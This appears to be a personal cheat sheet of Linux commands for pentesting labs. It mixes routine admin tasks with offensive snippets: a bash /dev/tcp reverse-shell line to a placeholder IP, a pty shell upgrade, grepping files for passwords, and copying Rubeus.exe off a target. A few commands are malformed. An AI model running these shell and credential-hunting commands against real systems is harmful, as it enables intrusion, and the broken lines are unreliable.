Usefull command's

• To enable SSH on your Linux box, you can use the following command:

sudo systemctl enable ssh
sudo systemctl start 

• Output transformation with cut

#the '' sets the delimiter and fX displays the value before the delimiter
cut-d '"'-f2 access.log 

sudo sh -c "echo 'STMIP inlanefreight.htb' >> /etc/hosts" 
python3 -m http.server

DNS issues

sudo nano /etc/resolv.conf 
# add the following line
nameserver 8.8.8.8 
sudo systemctl restart NetworkManager 
sudo chown root:root /etc/resolv.conf 
sudo chmod 644 /etc/resolv.conf 

Change Java version

 update-java-alternatives --list 
sudo update-java-alternatives --set /path/to/java/version 

Other useful Bash commands

Search Specific Keyword

• Search a specific keyword within files:

  grep -iRl "password"

Start HTTP Server

• Start a simple HTTP server on a specified port (example: port 4444):

  python3 -m http.server 4444
  sudo php -S 0.0.0.0:4444

Change Keyboard Language

• Change keyboard language to Belgian (be):

  setxkbmap be

Add Entry to /etc/hosts

• Add an entry in one line to /etc/hosts:

  sudo echo "10.129.195.8 ignition.htb" | sudo tee -a /etc/hosts
  sudo sh -c "echo 'STMIP inlanefreight.htb' >> /etc/hosts" 

Save Output to File

• Save a string to a file:

  echo "output" > file.txt

Capture Network Traffic

• Start capturing network traffic on a specified interface (example: tun0) and port (example: 389):

  tcpdump -i tun0 port 389

Show User Accounts and Groups in Linux

• Display all user accounts and their groups in Linux:

  cat /etc/passwd | awk -F ':' '{print $1}' | xargs -L1 id

Download File via SSH with SCP

• Download a file from a remote server using SCP with specified port (example: 22):

  scp -P 22 administrator@10.10.187.117:C:/Users/Administrator/Downloads/Rubeus.exe /home/kali/kerberos

Upload File via SSH with SCP

• Upload a file to a remote server using SCP:

  scp /path/to/local/file username@hostname:/path/to/remote/file

Connect Using Private Key via SSH

• Connect to a remote server using a private key:

  ssh -i rsaroot root@10.200.73.200

Change Permission on Private Key File

• Change mode on id_rsa to obtain persistent access:

  chmod 600 id_rsa

Search for a File in Linux

• Search for a specific file from the current directory:

  find -name RootFlag210.txt

List All Files Including Hidden Ones

• List all files including hidden files:

  ls -al

Get a Functional Shell After Reverse Shell

• Obtain a functional shell after gaining a reverse shell:

  python3 -c 'import pty;pty.spawn("/bin/bash")'

Start HTTP Server on Port 80

• Start a simple HTTP server on port 80:

  python3 -m http.server 80

Get Open Listening Ports on Linux

• Get open listening ports on Linux:

  ss --tln

Access Web Page with Curl

• Access a webpage with curl:

  curl -v http://address.TLD

If Kali Shows Black Screen

• Run filecheck in console mode and fix filesystem issues:

  fsck /dev/sda2

Task Manager Alternatives

• Use task manager alternatives like ftop, btop, htop:

  htop

Find Files with FZF

• Find files interactively using fzf:

  fzf

Display User Information

• Show UID, GID, and groups information of the current user:

  id

Get Info on Linux Command

• Get a simpler explanation of a Linux command using tldr:

  tldr curl

DNS Settings

• Show DNS settings from the network manager:

  nmcli dev show

Add User to Group

• Add your user to the vboxsf group in a guest VM to access shared drives:

  sudo adduser your-user vboxsf

Edit GRUB Configuration

• Add "mitigations=off" to the Linux command line in GRUB configuration:

  sudo nano /etc/default/grub
  # Add "mitigations=off" into CMDLINE_LINUX
  

• Create a more stable shell after getting a reverse shell

bash -c "bash -i >& /dev/tcp/{your_IP}/443 0>&1"